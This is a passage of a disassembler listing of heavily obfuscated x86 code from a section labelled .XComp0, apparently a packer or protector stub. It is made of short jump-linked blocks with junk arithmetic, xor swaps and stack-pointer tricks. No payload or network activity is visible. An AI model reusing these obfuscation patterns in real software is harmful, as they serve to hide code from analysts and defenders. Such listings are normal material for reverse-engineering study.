		sub	edi, 0B317CB9h
		inc	edi
		jmp	loc_576F82
; ---------------------------------------------------------------------------


loc_579E7A:				; CODE XREF: .XComp0:0057810Cj
		shl	dl, 7
		xor	dl, ah
		xor	ah, dl
		xor	dl, ah
		dec	ah
		push	ecx
		mov	ch, ah
		mov	ah, dl
		mov	dl, ch
		pop	ecx
		jmp	loc_580E17
; ---------------------------------------------------------------------------


loc_579E92:				; CODE XREF: .XComp0:005802B2j
		add	bh, dh
		sub	bh, 0F7h
		jmp	loc_57D5C2
; ---------------------------------------------------------------------------


loc_579E9C:				; CODE XREF: .XComp0:00580473j
		pop	edx
		push	esi
		push	ecx
		mov	ecx, 73AF0F3Fh
		add	[esp+4], ecx
		pop	ecx
		pop	ebx
		jmp	loc_582F6D
; ---------------------------------------------------------------------------


loc_579EAF:				; CODE XREF: .XComp0:00581FBFj
		push	edx
		jmp	loc_576027
; ---------------------------------------------------------------------------


loc_579EB5:				; CODE XREF: .XComp0:00573BA3j
		push	edi
		mov	edi, 3A407A65h
		shr	edi, 1
		add	edi, 627C004Dh
		push	ebx
		jmp	loc_57DCFF
; ---------------------------------------------------------------------------


loc_579EC9:				; CODE XREF: .XComp0:0057C4C8j
		pop	ebx
		jmp	loc_574688
; ---------------------------------------------------------------------------


loc_579ECF:				; CODE XREF: .XComp0:0057E79Aj
		push	dword ptr [esp]
		jmp	loc_574027
; ---------------------------------------------------------------------------


loc_579ED7:				; CODE XREF: .XComp0:00581A74j
		push	ecx
		mov	ecx, esp
		jmp	loc_57C4DB
; ---------------------------------------------------------------------------


loc_579EDF:				; CODE XREF: .XComp0:0057CA79j
		pop	ecx
		push	edi
		mov	edi, 7BB219A2h
		jmp	loc_57E8B1
; ---------------------------------------------------------------------------


loc_579EEB:				; CODE XREF: .XComp0:0058174Dj
		add	esp, 4
		add	ebx, 44291F1Ah
		sub	ebx, eax
		jmp	loc_57708A
; ---------------------------------------------------------------------------


loc_579EFE:				; CODE XREF: .XComp0:005790DDj
		push	3539h
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		jmp	loc_578FF3
; ---------------------------------------------------------------------------


loc_579F15:				; CODE XREF: .XComp0:0057FF93j
		push	ebx
		mov	ebx, esp
		jmp	loc_57C21E
; ---------------------------------------------------------------------------


loc_579F1D:				; CODE XREF: .XComp0:00577272j
		pop	edx
		push	eax
		mov	ah, 0F9h
		jmp	loc_58203F
; ---------------------------------------------------------------------------


loc_579F26:				; CODE XREF: .XComp0:00575AF9j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_58030A
; ---------------------------------------------------------------------------


loc_579F49:				; CODE XREF: .XComp0:00577E4Bj
		push	edi
		push	ebx
		mov	ebx, 38AC1DFCh
		push	ebx
		jmp	loc_58084F
; ---------------------------------------------------------------------------


loc_579F56:				; CODE XREF: .XComp0:00573B4Fj
		add	esp, 4
		sub	eax, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_578252
; ---------------------------------------------------------------------------


loc_579F67:				; CODE XREF: .XComp0:0057B017j
		mov	ebx, 768B65A9h
		jmp	loc_574E9F
; ---------------------------------------------------------------------------


loc_579F71:				; CODE XREF: .XComp0:0057F9D7j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_574EB9
; ---------------------------------------------------------------------------


loc_579F7A:				; CODE XREF: .XComp0:00575AC3j
		xor	edi, [esp]
		mov	esp, [esp]
		mul	ecx
		push	232Ch
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_579F91:				; CODE XREF: .XComp0:005779EBj
		pop	ebx
		add	dl, 0E3h
		sub	esp, 4
		mov	[esp], ecx
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		pop	edx
		sub	bl, 0FFh
		push	edx
		mov	dh, 96h
		jmp	loc_575BA3
; ---------------------------------------------------------------------------


loc_579FAC:				; CODE XREF: .XComp0:0057B268j
		pop	dword ptr [esp]
		jmp	loc_577ED4
; ---------------------------------------------------------------------------


loc_579FB4:				; CODE XREF: .XComp0:0057EBEDj
		not	ebx
		xor	ebx, 0DDE091Ch
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		push	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_58294B
; ---------------------------------------------------------------------------


loc_579FD6:				; CODE XREF: .XComp0:0057B814j
		add	cl, 0FFh
		sub	cl, 0ECh
		jmp	loc_57E746
; ---------------------------------------------------------------------------


loc_579FE1:				; CODE XREF: .XComp0:0057F38Dj
		imul	cx
		push	3E57h
		mov	[esp], ebx
		jmp	loc_583338
; ---------------------------------------------------------------------------


loc_579FF1:				; CODE XREF: .XComp0:00582123j
		pop	esi
		push	0D6Eh
		jmp	loc_58092E
; ---------------------------------------------------------------------------


loc_579FFC:				; CODE XREF: .XComp0:0057D4D2j
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, eax
		jmp	loc_57F798
; ---------------------------------------------------------------------------


loc_57A00E:				; CODE XREF: .XComp0:0057C52Fj
		shl	ebp, 7
		sub	ebp, 3B7F7AA3h
		inc	ebp
		dec	ebp
		or	ebp, 4C1B47CAh
		add	ebp, 12641025h
		sub	ebx, 41B107A2h
		add	ebx, ebp
		add	ebx, 41B107A2h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_576E58
; ---------------------------------------------------------------------------


loc_57A04E:				; CODE XREF: .XComp0:0057AD2Ej
		mov	eax, [esp]
		jmp	loc_574957
; ---------------------------------------------------------------------------


loc_57A056:				; CODE XREF: .XComp0:00577735j
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5813E5
; ---------------------------------------------------------------------------


loc_57A067:				; CODE XREF: .XComp0:0057F9CCj
		pop	ebp
		push	eax
		mov	eax, 150856C5h
		add	[esp+8], eax
		pop	eax
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 150856C5h
		pop	edi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_57D111
; ---------------------------------------------------------------------------


loc_57A08C:				; CODE XREF: .XComp0:00581613j
		add	esi, 4
		sub	esi, 4
		jmp	loc_58358F
; ---------------------------------------------------------------------------


loc_57A09A:				; CODE XREF: .XComp0:0057EB3Bj
		not	ebp
		xor	ebp, 354F2504h
		or	ebp, 31F5749Fh
		sub	ebp, 0FC7A4689h
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 2FB25D7Ch
		jmp	loc_574A2C
; ---------------------------------------------------------------------------


loc_57A0BC:				; CODE XREF: .XComp0:0058333Fj
		push	eax
		push	ecx
		jmp	loc_57CA53
; ---------------------------------------------------------------------------


loc_57A0C3:				; CODE XREF: .XComp0:00574529j
		mov	eax, edx
		pop	edx
		neg	eax
		jmp	loc_58032A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	40C2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_57B515
; ---------------------------------------------------------------------------


loc_57A0F1:				; CODE XREF: .XComp0:00578589j
		mov	esp, [esp]
		jmp	loc_57BD9B
; ---------------------------------------------------------------------------


loc_57A0F9:				; CODE XREF: .XComp0:0057C77Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_58101E
; ---------------------------------------------------------------------------


loc_57A108:				; CODE XREF: .XComp0:00574F2Aj
		shr	eax, 10h
		jmp	loc_577D6B
; ---------------------------------------------------------------------------


loc_57A110:				; CODE XREF: .XComp0:0057BC41j
		xor	cl, dl
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 89h
		jmp	loc_582923
; ---------------------------------------------------------------------------


loc_57A128:				; CODE XREF: .XComp0:00583499j
		mov	eax, 22C96188h
		jmp	loc_57D787
; ---------------------------------------------------------------------------


loc_57A132:				; CODE XREF: .XComp0:0057DEE0j
		or	ecx, 2C5D31E4h
		push	ebx
		mov	ebx, 7DF116F7h
		dec	ebx
		and	ebx, 54B815E6h
		add	ebx, 54AA6455h
		push	ebp
		mov	ebp, 351E7B0Ah
		and	ebp, 29F33A51h
		sub	ebp, 7B852141h
		add	ebp, 46A06486h
		and	ebp, 3F4404BAh
		push	esi
		mov	esi, 595C4BADh
		neg	esi
		sub	esi, 0FFFFFFFFh
		and	esi, 27721A42h
		or	esi, 4ACF3791h
		jmp	loc_5821CB
; ---------------------------------------------------------------------------


loc_57A188:				; CODE XREF: .XComp0:0057D9EAj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_582B0D
; ---------------------------------------------------------------------------


loc_57A196:				; CODE XREF: .XComp0:0057D670j
		sub	ebp, 6B4F2762h
		and	ebp, 1EDD7CC7h
		add	ebp, 0FD62EF3Eh
		mov	ecx, ebp
		pop	ebp
		jmp	loc_57ECA4
; ---------------------------------------------------------------------------


loc_57A1B0:				; CODE XREF: .XComp0:005822D7j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_57DDFC
; ---------------------------------------------------------------------------


loc_57A1BB:				; CODE XREF: .XComp0:0057D03Aj
		add	eax, esi
		add	eax, 6A0C6EDBh
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_5781C0
; ---------------------------------------------------------------------------


loc_57A1CE:				; CODE XREF: .XComp0:0057997Ej
		pop	edx
		xchg	ecx, [esp]
		mov	esp, [esp]
		movsx	ecx, ax
		push	736Dh
		jmp	loc_5831B0
; ---------------------------------------------------------------------------


loc_57A1E2:				; CODE XREF: .XComp0:0057ADD2j
		push	ecx
		mov	ecx, 209C5386h
		add	eax, 2B4A5AB7h
		add	eax, ecx
		jmp	loc_581862
; ---------------------------------------------------------------------------


loc_57A1F4:				; CODE XREF: .XComp0:00575DADj
		push	edi
		mov	edi, 24h
		mov	edx, edi
		pop	edi
		add	edx, 1C5A7BAFh
		sub	edx, 2B6530B7h
		sub	edx, 17D46E3Fh
		add	edx, edi
		jmp	loc_580D40
; ---------------------------------------------------------------------------


loc_57A216:				; CODE XREF: .XComp0:0057B957j
		push	eax
		mov	eax, 45133609h
		neg	eax
		add	eax, 4F144B37h
		inc	eax
		or	eax, 19542CC7h
		jmp	loc_574EDD
; ---------------------------------------------------------------------------


loc_57A22E:				; CODE XREF: .XComp0:0057AB38j
		xor	eax, [esp]
		jmp	loc_57B913
; ---------------------------------------------------------------------------


loc_57A236:				; CODE XREF: .XComp0:0058247Bj
		sub	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57D5B7
; ---------------------------------------------------------------------------


loc_57A24B:				; CODE XREF: .XComp0:00582881j
		pop	eax
		add	eax, 0DC57807h
		xor	ecx, eax
		pop	eax
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		xor	ecx, 5C757A04h
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_581B2B
; ---------------------------------------------------------------------------


loc_57A273:				; CODE XREF: .XComp0:0057B9BBj
		push	eax
		mov	al, 96h
		sub	bl, al
		pop	eax
		jmp	loc_580A88
; ---------------------------------------------------------------------------


loc_57A27E:				; CODE XREF: .XComp0:00577F4Bj
		pop	ebp
		push	3DC5h
		mov	[esp], ebp
		jmp	loc_58112A
; ---------------------------------------------------------------------------


loc_57A28C:				; CODE XREF: .XComp0:0057A7CAj
		add	esi, 0F0DA8139h
		sub	edx, 284D083Bh
		jmp	loc_57BB03
; ---------------------------------------------------------------------------


loc_57A29D:				; CODE XREF: .XComp0:005819E3j
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		jmp	loc_57E347
; ---------------------------------------------------------------------------


loc_57A2B0:				; CODE XREF: .XComp0:00575EDEj
		pop	edi
		neg	edi
		dec	edi
		not	edi
		xor	edi, 3AA1122Bh
		mov	edx, edi
		pop	edi
		jmp	loc_57E45C
; ---------------------------------------------------------------------------


loc_57A2C4:				; CODE XREF: .XComp0:0057C33Ej
		add	eax, 4
		push	ebx
		mov	ebx, 2F637F00h
		sub	ebx, 7AE15A95h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, 35F85159h
		neg	ecx
		jmp	loc_57448D
; ---------------------------------------------------------------------------


loc_57A2E7:				; CODE XREF: .XComp0:0057E5ABj
		add	eax, 66DA739Eh
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 5583276Ah
		neg	eax
		neg	eax
		jmp	loc_580F39
; ---------------------------------------------------------------------------


loc_57A2FE:				; CODE XREF: .XComp0:00577BB9j
		mov	[esp], ebx
		mov	ebx, 4
		add	[esp+4], ebx
		pop	ebx
		pop	ecx
		add	ecx, 4
		push	esi
		mov	esi, 2
		add	ecx, esi
		pop	esi
		push	esi
		jmp	loc_57CEFE
; ---------------------------------------------------------------------------


loc_57A321:				; CODE XREF: .XComp0:0057D3CDj
		add	esp, 4
		xor	edi, 79715286h
		push	edx
		mov	edx, 3997E995h
		xor	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_580A4A
; ---------------------------------------------------------------------------


loc_57A340:				; CODE XREF: .XComp0:0057758Fj
		inc	ebx
		push	eax
		mov	eax, 7B015CC8h
		neg	eax
		or	eax, 7C1C4A10h
		and	eax, 5B383457h
		add	eax, 0C222F11Ch
		add	ebx, eax
		jmp	loc_578B3C
; ---------------------------------------------------------------------------


loc_57A35F:				; CODE XREF: .XComp0:0057B8C0j
		add	al, 0AAh
		pop	dx
		add	al, ch
		add	al, 39h
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5833FB
; ---------------------------------------------------------------------------


loc_57A384:				; CODE XREF: .XComp0:0057EE65j
		push	ebx
		push	65396272h
		pop	ebx
		and	ebx, 2CCB31D9h
		or	ebx, 560D1F10h
		jmp	loc_583626
; ---------------------------------------------------------------------------


loc_57A39C:				; CODE XREF: .XComp0:00575E6Ej
		sub	esi, 0FF94E221h
		or	eax, esi
		pop	esi
		add	eax, 1
		jmp	loc_5762B6
; ---------------------------------------------------------------------------


loc_57A3AD:				; CODE XREF: .XComp0:005825D3j
		sub	dl, 98h
		jmp	loc_5832AF
; ---------------------------------------------------------------------------


loc_57A3B5:				; CODE XREF: .XComp0:0057C10Fj
		push	4FB7h
		jmp	loc_57FB57
; ---------------------------------------------------------------------------


loc_57A3BF:				; CODE XREF: .XComp0:0057F200j
		add	ecx, 4
		jmp	loc_578C81
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	2C17h
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		push	esi
		mov	esi, 4C8046ECh
		push	ebp
		jmp	loc_580EBE
; ---------------------------------------------------------------------------


loc_57A3E7:				; CODE XREF: .XComp0:0057956Fj
		not	byte ptr [esp+1]
		jmp	loc_578A76
; ---------------------------------------------------------------------------


loc_57A3F0:				; CODE XREF: .XComp0:0057D0AFj
		xor	eax, [esp]
		pop	esp
		jmp	loc_57DB1E
; ---------------------------------------------------------------------------


loc_57A3F9:				; CODE XREF: .XComp0:00582DA9j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5737A2
; ---------------------------------------------------------------------------


loc_57A404:				; CODE XREF: .XComp0:0058025Aj
		push	ax
		xchg	di, [esp]
		not	di
		push	di
		push	small word ptr [esp+2]
		mov	di, [esp]
		add	esp, 2
		pop	small word ptr [esp]
		mov	ax, [esp]
		push	ecx
		jmp	loc_57C2E2
; ---------------------------------------------------------------------------


loc_57A42C:				; CODE XREF: .XComp0:0057651Ej
		pop	ecx
		add	ebx, ebp
		add	ebx, 6519727Bh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_582A0D
; ---------------------------------------------------------------------------


loc_57A443:				; CODE XREF: .XComp0:0057390Ej
		mov	edi, 168C6F50h
		mov	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_575686
; ---------------------------------------------------------------------------


loc_57A455:				; CODE XREF: .XComp0:0057DDF1j
		xor	ebx, 5682A32Bh
		or	ebp, ebx
		pop	ebx
		xor	ebp, 765F7DF9h
		add	ebx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_578DD4
; ---------------------------------------------------------------------------
		xor	[esp], al
		xor	al, [esp]
		xor	[esp], al
		jmp	loc_580D7F
; ---------------------------------------------------------------------------


loc_57A480:				; CODE XREF: .XComp0:00582A81j
		mov	edi, 7C631393h
		jmp	loc_5792AA
; ---------------------------------------------------------------------------


loc_57A48A:				; CODE XREF: .XComp0:0057C8CBj
		push	esi
		mov	esi, esp
		jmp	loc_577EE2
; ---------------------------------------------------------------------------


loc_57A492:				; CODE XREF: .XComp0:00575B35j
		xchg	esi, [esp]
		pop	esp


loc_57A496:				; CODE XREF: .XComp0:00578143j
		push	2349h
		mov	[esp], ebx
		jmp	loc_578386
; ---------------------------------------------------------------------------


loc_57A4A3:				; CODE XREF: .XComp0:00575F20j
		xchg	eax, [esp]
		jmp	loc_573F38
; ---------------------------------------------------------------------------


loc_57A4AB:				; CODE XREF: .XComp0:0057D028j
		push	ebx
		mov	ebx, 5B240198h
		jmp	loc_57744E
; ---------------------------------------------------------------------------


loc_57A4B6:				; CODE XREF: .XComp0:00573DE5j
		push	ecx
		push	edx
		mov	dl, al
		mov	cl, dl
		pop	edx
		push	4EE8h
		mov	[esp], eax
		mov	al, cl
		push	ebx
		mov	bh, al
		sub	esp, 4
		jmp	loc_579130
; ---------------------------------------------------------------------------


loc_57A4D5:				; CODE XREF: .XComp0:0057DD73j
		push	edx
		mov	edx, 20FC074Fh
		add	ecx, edx
		pop	edx
		and	ecx, 43D556E4h
		shl	ecx, 8
		add	ecx, 0A5243735h
		jmp	loc_57CD42
; ---------------------------------------------------------------------------


loc_57A4F2:				; CODE XREF: .XComp0:0057B30Ej
		mov	[esp], ax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57A4FB:				; CODE XREF: .XComp0:0057BDB4j
		push	edi
		push	eax
		mov	eax, 23E1AD3h
		jmp	loc_5809AB
; ---------------------------------------------------------------------------


loc_57A507:				; CODE XREF: .XComp0:005792F0j
		sub	edx, 26031126h
		jmp	loc_576DB7
; ---------------------------------------------------------------------------


loc_57A512:				; CODE XREF: .XComp0:00581B7Dj
		pop	esi
		add	esi, 4
		push	edi
		jmp	loc_57F510
; ---------------------------------------------------------------------------


loc_57A51F:				; CODE XREF: .XComp0:00575DD3j
		neg	esi
		shr	esi, 5
		sub	esi, 0BF2A5153h
		add	edi, esi
		pop	esi
		add	ecx, edi
		jmp	loc_57BD58
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_576577
; ---------------------------------------------------------------------------


loc_57A53C:				; CODE XREF: .XComp0:0057D2EEj
		push	ebx
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	edi
		push	ecx
		jmp	loc_5759C0
; ---------------------------------------------------------------------------


loc_57A54F:				; CODE XREF: .XComp0:00573E56j
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_57C541
; ---------------------------------------------------------------------------


loc_57A564:				; CODE XREF: .XComp0:0057D23Dj
		push	esi
		mov	esi, 712B7228h
		sub	eax, esi
		pop	esi
		mov	edi, [esp]
		push	edi
		jmp	loc_573BDC
; ---------------------------------------------------------------------------


loc_57A576:				; CODE XREF: .XComp0:0057AA4Aj
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_579C73
; ---------------------------------------------------------------------------


loc_57A58D:				; CODE XREF: .XComp0:0057D635j
		add	eax, ebx
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_57C302
; ---------------------------------------------------------------------------


loc_57A59E:				; CODE XREF: .XComp0:005768CFj
		add	ecx, 16236DEh
		add	ecx, esi
		sub	ecx, 16236DEh
		pop	esi
		jmp	loc_57BCB3
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_57B969
; ---------------------------------------------------------------------------


loc_57A5BA:				; CODE XREF: .XComp0:0057C7DAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_57791B
; ---------------------------------------------------------------------------


loc_57A5D0:				; CODE XREF: .XComp0:00577B64j
		shl	eax, 6
		add	eax, 46E932F2h
		shr	eax, 4
		add	eax, 34B69DFEh
		xor	ecx, eax
		pop	eax
		push	3833h
		mov	[esp], ebp
		mov	ebp, 3743017Dh
		sub	ecx, 9F0178Dh
		sub	ecx, ebp
		add	ecx, 9F0178Dh
		pop	ebp
		xor	ebp, ecx
		pop	ecx
		mov	edx, ebp
		pop	ebp


loc_57A605:				; CODE XREF: .XComp0:005754E1j
					; .XComp0:005801C5j
		push	dword ptr [edi+24h]
		jmp	loc_57FE38
; ---------------------------------------------------------------------------


loc_57A60D:				; CODE XREF: .XComp0:005753E2j
		mov	dl, 6Dh
		xor	ch, dl
		jmp	loc_57789A
; ---------------------------------------------------------------------------


loc_57A616:				; CODE XREF: .XComp0:00579716j
		push	ebx
		push	ebp
		jmp	loc_578D82
; ---------------------------------------------------------------------------


loc_57A61D:				; CODE XREF: .XComp0:00576187j
		sub	ecx, 10483FFCh
		sub	esi, ecx
		mov	ecx, [esp]
		jmp	loc_57E369
; ---------------------------------------------------------------------------


loc_57A62D:				; CODE XREF: .XComp0:00580A9Cj
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_57D640
; ---------------------------------------------------------------------------


loc_57A63B:				; CODE XREF: .XComp0:0057B1A6j
		push	dx
		push	ecx
		mov	cl, 0FDh
		push	ebx
		mov	bl, cl
		jmp	loc_57B61D
; ---------------------------------------------------------------------------


loc_57A648:				; CODE XREF: .XComp0:005833DEj
		neg	ecx
		push	ebp
		mov	ebp, 7ACB5558h
		sub	ecx, ebp
		pop	ebp
		add	edi, 3FC40C27h
		sub	edi, 1BA1973h
		jmp	loc_5788D3
; ---------------------------------------------------------------------------


loc_57A664:				; CODE XREF: .XComp0:0057E20Bj
		add	esp, 4
		jmp	loc_57C470
; ---------------------------------------------------------------------------


loc_57A66F:				; CODE XREF: .XComp0:005799F2j
		mov	eax, 6220358Fh
		jmp	loc_57F238
; ---------------------------------------------------------------------------


loc_57A679:				; CODE XREF: .XComp0:0057F565j
		mov	[esp], ebp
		jmp	loc_57D4E5
; ---------------------------------------------------------------------------


loc_57A681:				; CODE XREF: .XComp0:0057E87Fj
		or	edi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_57D46E
; ---------------------------------------------------------------------------


loc_57A68C:				; CODE XREF: .XComp0:00580D2Ej
		sub	eax, 14D75C5Bh
		add	eax, esi
		add	eax, 14D75C5Bh
		pop	esi
		push	ecx
		mov	ecx, 0CE14A1h
		add	edx, ecx
		pop	ecx
		add	edx, eax
		sub	esp, 4
		mov	[esp], eax
		push	0CE14A1h
		jmp	loc_57BDE2
; ---------------------------------------------------------------------------


loc_57A6B4:				; CODE XREF: .XComp0:0057F669j
		mov	ecx, [esp]
		jmp	loc_57FA7C
; ---------------------------------------------------------------------------


loc_57A6BC:				; CODE XREF: .XComp0:00581A3Bj
		add	ebp, ebx
		jmp	loc_5777A2
; ---------------------------------------------------------------------------


loc_57A6C3:				; CODE XREF: .XComp0:0057BD53j
		xor	esi, 4ACE6EA0h
		mov	ebx, esi
		pop	esi
		push	esi
		jmp	loc_57F0E5
; ---------------------------------------------------------------------------


loc_57A6D2:				; CODE XREF: .XComp0:0057E8ACj
		push	ecx
		mov	ecx, esp
		jmp	loc_58243F
; ---------------------------------------------------------------------------


loc_57A6DA:				; CODE XREF: .XComp0:0057F94Fj
		or	dl, al
		jmp	loc_577BBE
; ---------------------------------------------------------------------------


loc_57A6E1:				; CODE XREF: .XComp0:005786CDj
		pop	ebx
		push	edi
		mov	edi, 5F8507E7h
		dec	edi
		not	edi
		push	eax
		mov	eax, 13E0432h
		or	eax, 4E926339h
		jmp	loc_57FC67
; ---------------------------------------------------------------------------


loc_57A6FB:				; CODE XREF: .XComp0:00575C86j
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4F672079h
		shl	edi, 2
		and	edi, 57E9217Bh
		shr	edi, 6
		dec	edi
		jmp	loc_578D70
; ---------------------------------------------------------------------------


loc_57A71B:				; CODE XREF: .XComp0:0057D5F9j
		push	ebp
		jmp	loc_57B2E7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_582DA1
; ---------------------------------------------------------------------------


loc_57A73E:				; CODE XREF: .XComp0:00579D4Ej
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_577DE1
; ---------------------------------------------------------------------------


loc_57A754:				; CODE XREF: .XComp0:0057B98Fj
		sub	eax, 0A0D69635h
		jmp	loc_57B8AB
; ---------------------------------------------------------------------------


loc_57A75E:				; CODE XREF: .XComp0:00576524j
		push	edx
		mov	dl, 36h
		neg	dl
		xor	dl, 6Ah
		shr	dl, 6
		neg	dl
		jmp	loc_575AB0
; ---------------------------------------------------------------------------


loc_57A770:				; CODE XREF: .XComp0:0058011Cj
		push	ebp
		mov	ebp, 79697D1Ah
		mov	edi, ebp
		pop	ebp
		jmp	loc_57471A
; ---------------------------------------------------------------------------


loc_57A77E:				; CODE XREF: .XComp0:00579E15j
		mov	edx, [esp]
		add	esp, 4
		push	4CF2h
		mov	[esp], ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	7ACEh
		mov	[esp], eax
		push	ebx
		jmp	loc_582B5D
; ---------------------------------------------------------------------------


loc_57A7BB:				; CODE XREF: .XComp0:00576296j
		push	edx
		mov	edx, 11415AC7h
		sub	esi, edx
		pop	edx
		add	esi, 50B708Dh
		jmp	loc_57A28C
; ---------------------------------------------------------------------------


loc_57A7CF:				; CODE XREF: .XComp0:0057C074j
		mov	[esp], edi
		push	ebx
		jmp	loc_57B87C
; ---------------------------------------------------------------------------


loc_57A7D8:				; CODE XREF: .XComp0:0057EABFj
		mov	[esp], eax
		mov	ah, 68h
		not	ah
		jmp	loc_57FF42
; ---------------------------------------------------------------------------


loc_57A7E4:				; CODE XREF: .XComp0:0057C594j
		or	edx, 56DD56C2h
		add	edx, 729F0C82h
		xor	edx, 6A7F0453h
		jmp	loc_57FC3A
; ---------------------------------------------------------------------------


loc_57A7FB:				; CODE XREF: .XComp0:00578489j
		mov	edi, [esp]
		jmp	loc_579058
; ---------------------------------------------------------------------------


loc_57A803:				; CODE XREF: .XComp0:00577A9Ej
		mov	ebx, 37010B7Fh
		push	edx
		mov	edx, 3D83984h
		mov	dword ptr [edi+20h], 34D932FAh
		jmp	loc_57AD17
; ---------------------------------------------------------------------------


loc_57A81A:				; CODE XREF: .XComp0:00576EBAj
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_578DBC
; ---------------------------------------------------------------------------


loc_57A828:				; CODE XREF: .XComp0:00580415j
		mov	cl, al
		mov	eax, [esp]
		push	esi
		jmp	loc_578DFC
; ---------------------------------------------------------------------------


loc_57A833:				; CODE XREF: .XComp0:0057571Dj
					; .XComp0:0057E0C2j
		push	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 7709219Ah
		shl	ebp, 5
		inc	ebp
		and	ebp, 69A359FBh
		sub	ebp, 4C631096h
		not	ebp
		sub	ebp, 0EB42FF50h
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_579B37
; ---------------------------------------------------------------------------


loc_57A867:				; CODE XREF: .XComp0:00579CFCj
		pop	esi
		mov	ebx, 403D125Eh
		not	ebx
		shr	ebx, 2
		jmp	loc_57F56F
; ---------------------------------------------------------------------------


loc_57A877:				; CODE XREF: .XComp0:00574331j
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	4877h
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_57BC78
; ---------------------------------------------------------------------------


loc_57A895:				; CODE XREF: .XComp0:0058291Ej
		pop	eax
		pop	edx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], eax
		push	4
		jmp	loc_573EE4
; ---------------------------------------------------------------------------


loc_57A8AD:				; CODE XREF: .XComp0:00582A64j
		push	esp
		pop	esi
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_577700
; ---------------------------------------------------------------------------


loc_57A8C0:				; CODE XREF: .XComp0:00582929j
		add	al, ch
		jmp	loc_573CDA
; ---------------------------------------------------------------------------


loc_57A8C7:				; CODE XREF: .XComp0:00574DC0j
		mov	eax, 7A350C68h
		not	eax
		add	eax, 1
		add	eax, 1BAA0256h
		add	eax, 2D8B3BFFh
		sub	edx, eax
		pop	eax
		xor	edi, edx
		jmp	loc_57FA34
; ---------------------------------------------------------------------------


